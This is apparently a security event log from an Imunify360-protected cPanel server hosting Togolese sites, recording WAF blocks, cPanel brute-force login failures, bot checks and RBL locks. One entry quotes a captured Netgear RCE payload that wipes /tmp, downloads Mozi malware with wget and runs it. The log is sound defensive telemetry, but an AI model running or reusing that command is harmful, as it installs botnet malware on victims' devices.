[2026-06-26 03:11:12 +0000] info [cpaneld] 78.190.153.154 - fe "GET /login/?login_only=1&user=fe&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fe (has_cpuser_file failed)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 200.71.124.5
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:03-13.200.71.124.5||RSV:8.20||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 195.62.50.132
country_id: 298795
description:
195.62.50.132 - - [26/Jun/2026:03:13:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7040409&pdata=https%253A%252F%252Fwww.togosem.com%252F2025%252F02%252F19%252F10-legal-on-sites-for-real-money%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782443614 HTTP/2.0" 302 0 www.togosem.com "https://www.togosem.com/2025/02/19/10-legal-on-sites-for-real-money/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:195.62.50.132


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 181.177.102.211
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:03-13.181.177.102.211||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 186.179.18.69
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:03-13.186.179.18.69||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 181.177.110.71
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:03-13.181.177.110.71||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77316904
name: IM360 WAF: Track IP which is in the web-spammers RBL
abuser: 181.177.110.52
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Track IP which is in the web-spammers RBL||Rules:r33309||MV:03-14.181.177.110.52||RSV:8.20||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 99.252.78.253
country_id: 6251999
description:
99.252.78.253 - - [26/Jun/2026:03:14:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10458259&pdata=https%253A%252F%252Fmail.marketplace.netmaster.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782443668 HTTP/2.0" 404 159 mail.marketplace.netmaster.tg "https://www.netmaster.tg/" "Mozilla/5.0 (iPhone; CPU iPhone OS 19_0_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/140.0.7339.122 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:99.252.78.253


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 213.230.92.96
country_id: 1512440
description:
213.230.92.96 - - [26/Jun/2026:03:14:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10458259&pdata=https%253A%252F%252Fmail.marketplace.netmaster.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782443668 HTTP/2.0" 302 0 mail.marketplace.netmaster.tg "https://mail.marketplace.netmaster.tg/" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Mobile/15E148 Safari/604.1 OPT/5.3.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:213.230.92.96


plugin: modsec
rule: 77316728
name: IM360 WAF: Netgear unauthenticated RCE
abuser: 139.135.46.104
country_id: 1168579
description:
IM360 WAF: Netgear unauthenticated RCE||RSV:8.20||T:APACHE||MVN:ARGS:cmd||MV:rm -rf /tmp/*;wget http://192.168.1.1:8088/Mozi.m -O /tmp/netgear;sh netgear||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 99.252.78.253
country_id: 6251999
description:
99.252.78.253 - - [26/Jun/2026:03:14:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10250646&pdata=https%253A%252F%252Fmail.marketplace.netmaster.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782443689 HTTP/2.0" 302 0 mail.marketplace.netmaster.tg "https://www.netmaster.tg/" "Mozilla/5.0 (iPhone; CPU iPhone OS 19_0_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/140.0.7339.122 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:99.252.78.253


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.11
country_id: 6252001
description:
205.169.39.11 - - [26/Jun/2026:03:16:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9802901&pdata=https%253A%252F%252Ftogosem.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782443795 HTTP/2.0" 302 0 togosem.com "https://togosem.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.11


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.178.30.148
country_id: 1210997
description:
[2026-06-26 03:18:05 +0000] info [cpaneld] 103.178.30.148 - at "GET /login/?login_only=1&user=at&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user at (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 116.98.245.97
country_id: 1562822
description:
[2026-06-26 03:17:53 +0000] info [cpaneld] 116.98.245.97 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 149.22.87.4
country_id: 1861060
domain: clinique-ccl.tg
description:
IM360 WAF: Bad file extension||RSV:8.20||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:udxjqqmt||


plugin: modsec
rule: 77093094
abuser: 35.192.232.168
country_id: 6252001
domain: letabloid.tg
description:


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.173
country_id: 1880251
description:
47.128.121.173 - - [26/Jun/2026:03:29:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9990757&pdata=https%253A%252F%252Ftogomedia24.tg%252Ftag%252Fcontre-le-paludisme%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782444587 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/tag/contre-le-paludisme/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.173


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.192.153.244
country_id: 2921044
description:
[2026-06-26 03:31:24 +0000] info [cpaneld] 188.192.153.244 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.142.217.77
country_id: 3686110
description:
[2026-06-26 03:31:35 +0000] info [cpaneld] 181.142.217.77 - zephyrtg "GET /login/?login_only=1&user=zephyrtg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user zephyrtg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.43.254.17
country_id: 3625428
description:
[2026-06-26 03:31:41 +0000] info [cpaneld] 38.43.254.17 - zeph "GET /login/?login_only=1&user=zeph&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user zeph (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.100.199.44
country_id: 3658394
description:
[2026-06-26 03:31:44 +0000] info [cpaneld] 157.100.199.44 - zep "GET /login/?login_only=1&user=zep&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user zep (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.155.77.128
country_id: 163843
description:
[2026-06-26 03:34:11 +0000] info [cpaneld] 5.155.77.128 - tilitu "GET /login/?login_only=1&user=tilitu&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tilitu (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.250.90.34
country_id: 174982
description:
[2026-06-26 03:34:05 +0000] info [cpaneld] 195.250.90.34 - tilitula "GET /login/?login_only=1&user=tilitula&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tilitula (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 128.201.0.36
country_id: 3469034
description:
[2026-06-26 03:34:16 +0000] info [cpaneld] 128.201.0.36 - tili "GET /login/?login_only=1&user=tili&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tili (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 191.37.229.198
country_id: 3469034
description:
[2026-06-26 03:34:22 +0000] info [cpaneld] 191.37.229.198 - ti "GET /login/?login_only=1&user=ti&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ti (has_cpuser_file failed)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 173.211.89.151
country_id: 6252001
description:
[2026-06-26 03:35:13 +0000] info [cpaneld] 173.211.89.151 NEW wcnyaruu:N0RPFFDPM_ubUfj9 address=173.211.89.151,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 209.50.184.183
country_id: 2510769
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:03-36.209.50.184.183||RSV:8.20||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 172.102.223.163
country_id: 660013
domain: macite.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.20||T:APACHE||RA:172.102.223.163||TA:172.102.223.163||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.188.139.108
country_id: 6252001
description:
47.188.139.108 - - [26/Jun/2026:03:39:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9803617&pdata=https%253A%252F%252Ftilitulab.tg%252Fnos-projets%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782445163 HTTP/2.0" 302 0 tilitulab.tg "https://tilitulab.tg/nos-projets/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.188.139.108


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 103.101.90.105
country_id: 660013
domain: macite.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.20||T:APACHE||RA:103.101.90.105||TA:103.101.90.105||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 156.155.31.26
country_id: 953987
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/electricite-la-ceet-annonce-des-perturbations-cette-semaine-a-lome/ HTTP/1.1||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 156.155.31.26
country_id: 953987
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/electricite-la-ceet-annonce-des-perturbations-cette-semaine-a-lome/ HTTP/1.1||RSV:8.20||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.174.108
country_id: 1880251
description:
43.173.174.108 - - [26/Jun/2026:03:42:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10066540&pdata=https%253A%252F%252F24heureinfo.tg%252Fwp-json%252Fwp%252Fv2%252Ftags%252F76&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782445340 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/wp-json/wp/v2/tags/76" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.174.108


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.176.115
country_id: 1880251
description:
43.173.176.115 - - [26/Jun/2026:03:46:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6396569&pdata=https%253A%252F%252Ftogomedia24.tg%252Fenergies%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782445576 HTTP/1.1" 404 561 togomedia24.tg "https://togomedia24.tg/energies/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.176.115


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.112.53
country_id: 1880251
description:
47.128.112.53 - - [26/Jun/2026:03:47:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10078574&pdata=https%253A%252F%252Frelanceinfo.tg%252F%253Fp%253D1960&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782445624 HTTP/2.0" 302 0 relanceinfo.tg "https://relanceinfo.tg/?p=1960" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.112.53


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 104.128.72.159
country_id: 6252001
domain: togofarm.tg
description:
IM360 WAF: Track file upload for Infectors||RSV:8.20||T:APACHE||SC:/home/ifxmoxbf/public_html/goods.php||User:ifxmoxbf||WPU:||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 86.223.1.132
country_id: 3017382
description:
86.223.1.132 - - [26/Jun/2026:03:49:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7103898&pdata=https%253A%252F%252Fucao-uut.tg%252Fpartenariats-internationaux&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782445744 HTTP/2.0" 302 0 ucao-uut.tg "https://ucao-uut.tg/partenariats-internationaux" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.9177.1225 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:86.223.1.132


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 144.178.137.150
country_id: 2510769
domain: derou.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/derou.tg/fr/nos-projets/7 HTTP/1.1||RSV:8.20||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.223.58.27
country_id: 953987
description:
[2026-06-26 03:53:25 +0000] info [cpaneld] 102.223.58.27 - mediatopnews "GET /login/?login_only=1&user=mediatopnews&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mediatopnews (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 191.99.72.113
country_id: 3658394
description:
[2026-06-26 03:53:35 +0000] info [cpaneld] 191.99.72.113 - mediat "GET /login/?login_only=1&user=mediat&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mediat (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 2.50.69.214
country_id: 290557
description:
[2026-06-26 03:53:44 +0000] info [cpaneld] 2.50.69.214 - med "GET /login/?login_only=1&user=med&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user med (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.199.112.8
country_id: 3508796
description:
[2026-06-26 03:53:46 +0000] info [cpaneld] 38.199.112.8 - me "GET /login/?login_only=1&user=me&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user me (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.6.6.233
country_id: 3932488
description:
[2026-06-26 03:53:38 +0000] info [cpaneld] 179.6.6.233 - media "GET /login/?login_only=1&user=media&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user media (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 169.0.165.144
country_id: 953987
description:
[2026-06-26 03:53:22 +0000] info [cpaneld] 169.0.165.144 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 74.12.174.60
country_id: 6251999
description:
[2026-06-26 03:53:31 +0000] info [cpaneld] 74.12.174.60 - mediato "GET /login/?login_only=1&user=mediato&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mediato (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.249.1.230
country_id: 3996063
description:
[2026-06-26 04:03:01 +0000] info [cpaneld] 177.249.1.230 - kfauto "GET /login/?login_only=1&user=kfauto&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kfauto (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.137.160.30
country_id: 3469034
description:
[2026-06-26 04:03:04 +0000] info [cpaneld] 38.137.160.30 - kfautotg "GET /login/?login_only=1&user=kfautotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kfautotg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.225.244.3
country_id: 1282988
description:
[2026-06-26 04:03:08 +0000] info [cpaneld] 103.225.244.3 - kfaut "GET /login/?login_only=1&user=kfaut&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kfaut (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.90.193.50
country_id: 3469034
description:
[2026-06-26 04:03:11 +0000] info [cpaneld] 189.90.193.50 - kfau "GET /login/?login_only=1&user=kfau&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kfau (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.87.152
country_id: 2750405
description:
[2026-06-26 04:03:46 +0000] info [cpaneld] 217.181.87.152 - newglevfer "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 79.177.139.65
country_id: 294640
description:
[2026-06-26 04:03:13 +0000] info [cpaneld] 79.177.139.65 - kfa "GET /login/?login_only=1&user=kfa&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kfa (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 196.61.241.123
country_id: 953987
description:
196.61.241.123 - - [26/Jun/2026:04:05:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10001052&pdata=https%253A%252F%252Fcfpj.tg%252Fcnrw-316018citems%252Feti.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782446753 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/cnrw-316018citems/eti.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:196.61.241.123


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 107.189.13.180
country_id: 2960313
description:
107.189.13.180 - cietg [26/Jun/2026:04:06:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13146477&pdata=https%253A%252F%252Fc2ie.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782446774 HTTP/2.0" 302 0 c2ie.tg "https://c2ie.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:107.189.13.180


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 107.189.13.180
country_id: 2960313
description:
[2026-06-26 04:06:16 +0000] info [cpaneld] 107.189.13.180 - cietg "GET /execute/DomainInfo/domains_data HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.154
country_id: 3175395
description:
Jun 26 04:07:06 ns5 auth[57051]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.154 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.154
country_id: 3175395
description:
Jun 26 04:07:12 ns5 auth[57051]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.154 has been locked due to Imunify RBL


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 61.164.15.69
country_id: 1814991
description:
Denial of Service (DoS) attack was discovered from 61.164.15.69: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.87.110
country_id: 2750405
description:
[2026-06-26 04:08:42 +0000] info [cpaneld] 217.181.87.110 - doufelg "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.109.168.244
country_id: 3469034
description:
Jun 26 04:09:42 ns5 auth[57051]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.109.168.244 has been locked due to Imunify RBL


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 216.104.160.97
country_id: 6252001
domain: zephyr.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.20||T:APACHE||MV:/wp-json/wp/v2/users/2?_fields=id,slug,roles||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.174
country_id: 3469034
description:
Jun 26 03:04:31 ns5 auth[57051]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.174 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 86.100.233.82
country_id: 597427
description:
[2026-06-26 04:17:06 +0000] info [cpaneld] 86.100.233.82 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.90.28.8
country_id: 3469034
description:
[2026-06-26 04:17:32 +0000] info [cpaneld] 189.90.28.8 - ekin "GET /login/?login_only=1&user=ekin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ekin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 182.8.161.82
country_id: 1643084
description:
[2026-06-26 04:17:38 +0000] info [cpaneld] 182.8.161.82 - eki "GET /login/?login_only=1&user=eki&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user eki (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.238.25.35
country_id: 3469034
description:
[2026-06-26 04:17:16 +0000] info [cpaneld] 160.238.25.35 - ekinamagtg "GET /login/?login_only=1&user=ekinamagtg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ekinamagtg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.167.233.48
country_id: 1282988
description:
[2026-06-26 04:17:26 +0000] info [cpaneld] 103.167.233.48 - ekina "GET /login/?login_only=1&user=ekina&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ekina (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.7.1.207
country_id: 3469034
description:
[2026-06-26 04:17:42 +0000] info [cpaneld] 45.7.1.207 - ek "GET /login/?login_only=1&user=ek&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ek (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 193.163.89.222
country_id: 6252001
description:
[2026-06-26 04:26:20 +0000] info [cpaneld] 193.163.89.222 - Turbolte "POST /login/?login HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user Turbolte (has_cpuser_file failed)


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 66.42.63.55
country_id: 1880251
domain: ruralinfos.tg
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 66.42.63.55
country_id: 1880251
domain: ruralinfos.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.20||T:APACHE||MV:/wp-json/wp/v2/users/me||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.0.171.220
country_id: 298795
description:
Jun 26 04:26:42 ns5 auth[57051]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.0.171.220 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.28.160.166
country_id: 1880251
description:
[2026-06-26 04:26:53 +0000] info [cpaneld] 104.28.160.166 - ayhhhyhk "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ayhhhyhk (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 216.40.73.16
country_id: 6252001
description:
[2026-06-26 04:28:17 +0000] info [whostmgrd] 216.40.73.16 - kokouvidogbe44@gmail.com "POST /login/?login HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 77.83.26.119
country_id: 6252001
description:
[2026-06-26 04:32:05 +0000] info [whostmgrd] 77.83.26.119 - masfloy "POST /login/?login HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.106.31.203
country_id: 99237
description:
